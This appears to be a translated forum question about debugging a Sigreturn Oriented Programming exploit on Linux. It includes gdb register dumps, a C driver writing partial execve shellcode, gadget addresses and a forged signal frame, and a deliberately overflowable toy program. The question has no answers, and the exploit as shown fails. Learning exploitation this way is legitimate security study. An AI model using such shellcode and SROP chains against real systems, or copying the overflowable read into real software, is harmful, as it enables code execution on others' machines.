exploit - mprotect分段错误(SROP)

时间:2016-03-25 21:53:33

标签: c linux exploit

尝试保护内存区域,以便我可以执行shellcode,但它失败了,就在系统调用之后

(gdb) stepi
0xffffffffff600007 in ?? ()
(gdb) i r
rax            0xa    10
rbx            0x0    0
rcx            0x0    0
rdx            0x0    0
rsi            0x1000    4096
rdi            0x7fffffffe000    140737488347136
rbp            0x0    0x0
rsp            0x7fffffffeba0    0x7fffffffeba0
r8             0x0    0
r9             0x0    0
r10            0x0    0
r11            0x0    0
r12            0x0    0
r13            0x0    0
r14            0x0    0
r15            0x0    0
rip            0xffffffffff600007    0xffffffffff600007
eflags         0x202    [ IF ]
cs             0x33    51
ss             0x2b    43
ds             0x0    0
es             0x0    0
fs             0x0    0
---Type <return> to continue, or q <return> to quit---sq
gs             0x0    0
(gdb) stepi
0xffffffffff600009 in ?? ()
(gdb) i r
rax            0x0    0
rbx            0x0    0
rcx            0xffffffffffffffff    -1
rdx            0x0    0
rsi            0x1000    4096
rdi            0x7fffffffe000    140737488347136
rbp            0x0    0x0
rsp            0x7fffffffeba0    0x7fffffffeba0
r8             0x0    0
r9             0x0    0
r10            0x0    0
r11            0x302    770
r12            0x0    0
r13            0x0    0
r14            0x0    0
r15            0x0    0
rip            0xffffffffff600009    0xffffffffff600009
eflags         0x202    [ IF ]
cs             0x33    51
ss             0x2b    43
ds             0x0    0
es             0x0    0
fs             0x0    0
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) stepi

Program received signal SIGSEGV, Segmentation fault.
0xffffffffff600009 in ?? ()
(gdb) i r
rax            0x0    0
rbx            0x0    0
rcx            0xffffffffffffffff    -1
rdx            0x0    0
rsi            0x1000    4096
rdi            0x7fffffffe000    140737488347136
rbp            0x0    0x0
rsp            0x7fffffffeba0    0x7fffffffeba0
r8             0x0    0
r9             0x0    0
r10            0x0    0
r11            0x302    770
r12            0x0    0
r13            0x0    0
r14            0x0    0
r15            0x0    0
rip            0xffffffffff600009    0xffffffffff600009
eflags         0x10202    [ IF RF ]
cs             0x33    51
ss             0x2b    43
ds             0x0    0
es             0x0    0
fs             0x0    0
---Type <return> to continue, or q <return> to quit---
gs             0x0    0
(gdb)

我正在执行这样的二进制文件:

#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <signal.h>

#define SYSCALL 0xffffffffff600007

#define DATA             0x7fffffffeba0  //buf addres in vulerable program "prog"
#define MPROTECT_BASE    0x7fffffffe000  //must be a multiple of page_size (in .bss)
#define MPROTECT_SYSCALL 0xa
#define FLAGS            0x33
#define PAGE_SIZE        4096


int main(void)
{
    pid_t pid;



    if ((pid = fork()) < 0) {
        perror("fork");
        return EXIT_FAILURE;
    } else if (! pid) { /* child */

    int fd;

    struct ucontext ctx;

    /* initializing the context structure */
    bzero(&ctx, sizeof(struct ucontext));

    /* setting rip value (points to syscall address) */
    ctx.uc_mcontext.gregs[16] = SYSCALL;

    /* setting 0x3b in rax (execve syscall) */
    ctx.uc_mcontext.gregs[13] = MPROTECT_SYSCALL;

    /* setting first arg of execve in rdi */
    ctx.uc_mcontext.gregs[8] = MPROTECT_BASE;

    /* setting second arg of execv in rsi */
    ctx.uc_mcontext.gregs[9] = PAGE_SIZE;

    /*
    * jumping into nop sled after mprotect syscall.
    * setting rsp value
    */
    ctx.uc_mcontext.gregs[15] = DATA;



    /* cs = 0x33 */
    ctx.uc_mcontext.gregs[18] = 0x33;




    FILE *fp;
    fp=fopen("rop.dat","a");
    fwrite((char *) "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f",sizeof(char),24,fp); //shellcode incomplete, needs few bytes more, just for testing
    fwrite((char *) "\x45\x05\x40\x00\x00\x00\x00\x00",sizeof(char),8,fp); //mov 0xf, rax; ret gadget
    fwrite((char *) "\x07\x00\x60\xff\xff\xff\xff\xff", sizeof(char),8,fp); //syscal; ret gadget
    fwrite(&ctx,sizeof(ctx),1,fp); 
    fclose(fp);

    fd = open("rop.dat", O_RDONLY);
    if (fd < 0) {
        perror("open");
        return EXIT_FAILURE;
    }


        dup2(fd, STDIN_FILENO);
        close(fd);
        execlp("/opt/prog", "prog", (char *)0);
        perror("exec");
        return EXIT_FAILURE;
    } else { /* parent */
        printf("Parent waiting\n");
    }

    return EXIT_SUCCESS;
}

弱势程序

prog.c中

#include <stdio.h>
void main(){
    int buf[4];
    read(0, buf, 512);
}
void gadget()
{
    asm("mov $0xf,%rax\n");
    asm("retq\n");
}

这种技术称为Sigreturn Oriented Programming(SROP)。更多信息: http://thisissecurity.net/2015/01/03/playing-with-signals-an-overview-on-sigreturn-oriented-programming/

所以我的问题是:

  1. 为什么mprotect()不起作用?
  2. 如何解决?
  3. 谢谢,

0 个答案:

没有答案